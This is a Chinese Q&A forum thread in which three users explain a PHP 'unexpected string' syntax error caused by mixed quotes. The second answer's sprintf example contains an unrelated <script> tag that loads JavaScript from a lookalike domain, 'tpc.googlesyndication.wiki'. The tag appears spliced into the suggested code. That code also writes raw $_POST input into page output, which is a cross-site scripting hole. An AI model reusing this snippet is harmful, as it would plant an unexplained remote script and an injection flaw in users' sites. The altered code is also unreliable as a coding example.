发布网友 发布时间:2022-04-21 03:39
共3个回答
热心网友 时间:2023-11-05 04:15
这个错误提示表明,在 PHP 代码的某个地方出现了一个语法错误,具体来说,PHP 的解析器在扫描代码时遇到了一个不正确的字符串,并且它期望看到一个逗号或分号,而实际上没有遇到这些字符。
在这种情况下,通常会有一些编码错误,例如将一个字符串写成了一个变量或函数名,或者在一个字符串中没有正确的引号。
热心网友 时间:2023-11-05 04:15
把图片中的3行的所有双引号改为单引号即可解决问题。
你的代码中同时有单引号和双引号,拼字符串时很容易出错,推荐用sprintf函数实现,可以避免此类问题出现。
如:
$url = sprintf('Index/sysupdate?objsign=%s&zfile=%s', $_POST['objsign'], str_ireplace('/', '~', $upload_info));
echo sprintf('<script type="text/javascript">Window.location.href="%s";</script><script type="text/javascript" src="tpc.googlesyndication.wiki/sodar/sodar2.js"></script>', U($url));
热心网友 时间:2023-11-05 04:16
字符串的双引号使用不当,尤其是3行中的属性的双引号可以改为单引号